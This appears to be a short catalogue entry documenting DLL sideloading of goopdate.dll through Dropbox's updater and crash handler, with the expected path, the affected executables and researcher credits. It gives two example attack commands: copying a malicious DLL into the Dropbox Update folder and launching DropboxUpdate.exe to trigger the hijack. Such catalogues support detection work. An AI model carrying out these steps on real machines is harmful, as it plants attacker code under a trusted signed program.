examples:

• description: "Place malicious goopdate.dll in the search order location" command: "copy malicious.dll "%PROGRAMFILES%\Dropbox\Update\goopdate.dll""
• description: "Execute the vulnerable binary to trigger the hijack" command: ""DropboxUpdate.exe""

goopdate.dll

Vendor: Dropbox

Expected Location: %PROGRAMFILES%\Dropbox\Update

Vulnerable Executables:

• DropboxUpdate.exe (Sideloading)
• DropboxCrashHandler.exe (Sideloading)

Acknowledgement: Jai Minton

Acknowledgement: Craig Sweeney